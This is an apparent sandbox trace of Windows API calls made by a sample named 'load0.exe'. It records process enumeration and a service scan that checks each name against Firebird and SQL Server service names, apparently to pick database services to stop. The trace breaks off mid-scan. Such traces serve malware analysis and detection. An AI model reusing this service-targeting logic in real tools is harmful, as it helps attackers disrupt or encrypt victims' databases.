cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0244.938] lstrlenW (lpString="dwm.exe") returned 7 [0244.938] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.939] lstrlenW (lpString="svchost.exe") returned 11 [0244.939] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.940] lstrlenW (lpString="svchost.exe") returned 11 [0244.940] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.941] lstrlenW (lpString="svchost.exe") returned 11 [0244.941] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.942] lstrlenW (lpString="svchost.exe") returned 11 [0244.942] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.943] lstrlenW (lpString="svchost.exe") returned 11 [0244.943] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.944] lstrlenW (lpString="svchost.exe") returned 11 [0244.944] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.945] lstrlenW (lpString="svchost.exe") returned 11 [0244.945] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.946] lstrlenW (lpString="svchost.exe") returned 11 [0244.946] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.947] lstrlenW (lpString="svchost.exe") returned 11 [0244.947] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.947] lstrlenW (lpString="svchost.exe") returned 11 [0244.948] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0244.948] lstrlenW (lpString="spoolsv.exe") returned 11 [0244.948] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.949] lstrlenW (lpString="svchost.exe") returned 11 [0244.949] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0244.950] lstrlenW (lpString="audiodg.exe") returned 11 [0244.950] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0244.951] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0244.951] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0245.369] lstrlenW (lpString="Memory Compression") returned 18 [0245.369] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0245.370] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0245.370] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0245.371] lstrlenW (lpString="taskhostw.exe") returned 13 [0245.371] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0245.372] lstrlenW (lpString="sihost.exe") returned 10 [0245.372] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.373] lstrlenW (lpString="svchost.exe") returned 11 [0245.373] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0245.373] lstrlenW (lpString="taskhostw.exe") returned 13 [0245.374] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0245.374] lstrlenW (lpString="msoia.exe") returned 9 [0245.374] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0245.375] lstrlenW (lpString="explorer.exe") returned 12 [0245.375] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0245.376] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0245.376] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0245.378] lstrlenW (lpString="SearchUI.exe") returned 12 [0245.378] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0245.379] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0245.379] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0245.394] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0245.394] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0245.395] lstrlenW (lpString="load0.exe") returned 9 [0245.395] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0245.396] lstrlenW (lpString="cmd.exe") returned 7 [0245.396] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0245.397] lstrlenW (lpString="conhost.exe") returned 11 [0245.397] Process32NextW (in: hSnapshot=0x1190, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0245.398] CloseHandle (hObject=0x1190) returned 1 [0245.398] Sleep (dwMilliseconds=0x1f4) [0246.257] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x32b4a10 [0246.258] EnumServicesStatusExW (in: hSCManager=0x32b4a10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0246.258] GetLastError () returned 0xea [0246.258] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1bc4) returned 0x3f60ff8 [0246.258] EnumServicesStatusExW (in: hSCManager=0x32b4a10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f60ff8, cbBufSize=0x1bc4, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f60ff8, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0246.259] CloseServiceHandle (hSCObject=0x32b4a10) returned 1 [0246.259] lstrlenW (lpString="AppXSvc") returned 7 [0246.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0246.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0246.260] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0246.260] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0246.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0246.260] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0246.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0246.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0246.260] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0246.260] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0246.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0246.260] lstrlenW (lpString="Audiosrv") returned 8 [0246.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0246.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0246.260] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0246.260] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0246.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0246.260] lstrlenW (lpString="BFE") returned 3 [0246.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0246.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0246.260] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0246.260] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0246.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0246.260] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0246.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0246.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0246.260] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0246.260] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0246.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0246.260] lstrlenW (lpString="CDPSvc") returned 6 [0246.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0246.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0246.260] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0246.260] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0246.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0246.260] lstrlenW (lpString="ClickToRunSvc") returned 13 [0246.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0246.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0246.261] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0246.261] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0246.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0246.261] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0246.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0246.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0246.261] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0246.261] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0246.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0246.261] lstrlenW (lpString="CryptSvc") returned 8 [0246.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0246.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0246.261] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0246.261] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0246.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0246.261] lstrlenW (lpString="DcomLaunch") returned 10 [0246.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0246.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0246.261] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0246.261] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0246.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0246.261] lstrlenW (lpString="DeviceAssociationService") returned 24 [0246.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0246.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0246.261] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0246.261] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0246.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0246.261] lstrlenW (lpString="Dhcp") returned 4 [0246.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0246.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0246.262] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0246.262] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0246.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0246.262] lstrlenW (lpString="Dnscache") returned 8 [0246.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0246.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0246.262] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0246.262] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0246.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0246.262] lstrlenW (lpString="DPS") returned 3 [0246.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0246.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0246.262] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0246.262] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0246.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0246.262] lstrlenW (lpString="DusmSvc") returned 7 [0246.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0246.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0246.262] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0246.262] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0246.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0246.262] lstrlenW (lpString="EventLog") returned 8 [0246.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0246.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0246.262] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0246.262] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0246.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0246.262] lstrlenW (lpString="EventSystem") returned 11 [0246.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0246.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0246.263] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0246.263] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0246.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0246.263] lstrlenW (lpString="FontCache") returned 9 [0246.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0246.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0246.263] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0246.263] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0246.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0246.263] lstrlenW (lpString="gpsvc") returned 5 [0246.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0246.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0246.263] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0246.263] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0246.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0246.263] lstrlenW (lpString="iphlpsvc") returned 8 [0246.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0246.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0246.263] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0246.263] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0246.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0246.264] lstrlenW (lpString="KeyIso") returned 6 [0246.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0246.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0246.264] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0246.264] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0246.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0246.264] lstrlenW (lpString="LanmanServer") returned 12 [0246.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0246.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0246.264] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0246.264] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0246.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0246.264] lstrlenW (lpString="LanmanWorkstation") returned 17 [0246.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0246.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0246.264] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0246.264] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0246.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0246.264] lstrlenW (lpString="lfsvc") returned 5 [0246.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0246.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0246.264] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0246.265] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0246.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0246.265] lstrlenW (lpString="lmhosts") returned 7 [0246.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0246.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0246.265] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0246.265] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0246.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0246.265] lstrlenW (lpString="LSM") returned 3 [0246.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0246.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0246.265] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0246.265] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0246.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0246.265] lstrlenW (lpString="MpsSvc") returned 6 [0246.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0246.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0246.265] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0246.265] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0246.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0246.265] lstrlenW (lpString="NcbService") returned 10 [0246.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0246.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0246.265] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0246.265] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0246.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0246.266] lstrlenW (lpString="netprofm") returned 8 [0246.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0246.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0246.266] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0246.266] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0246.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 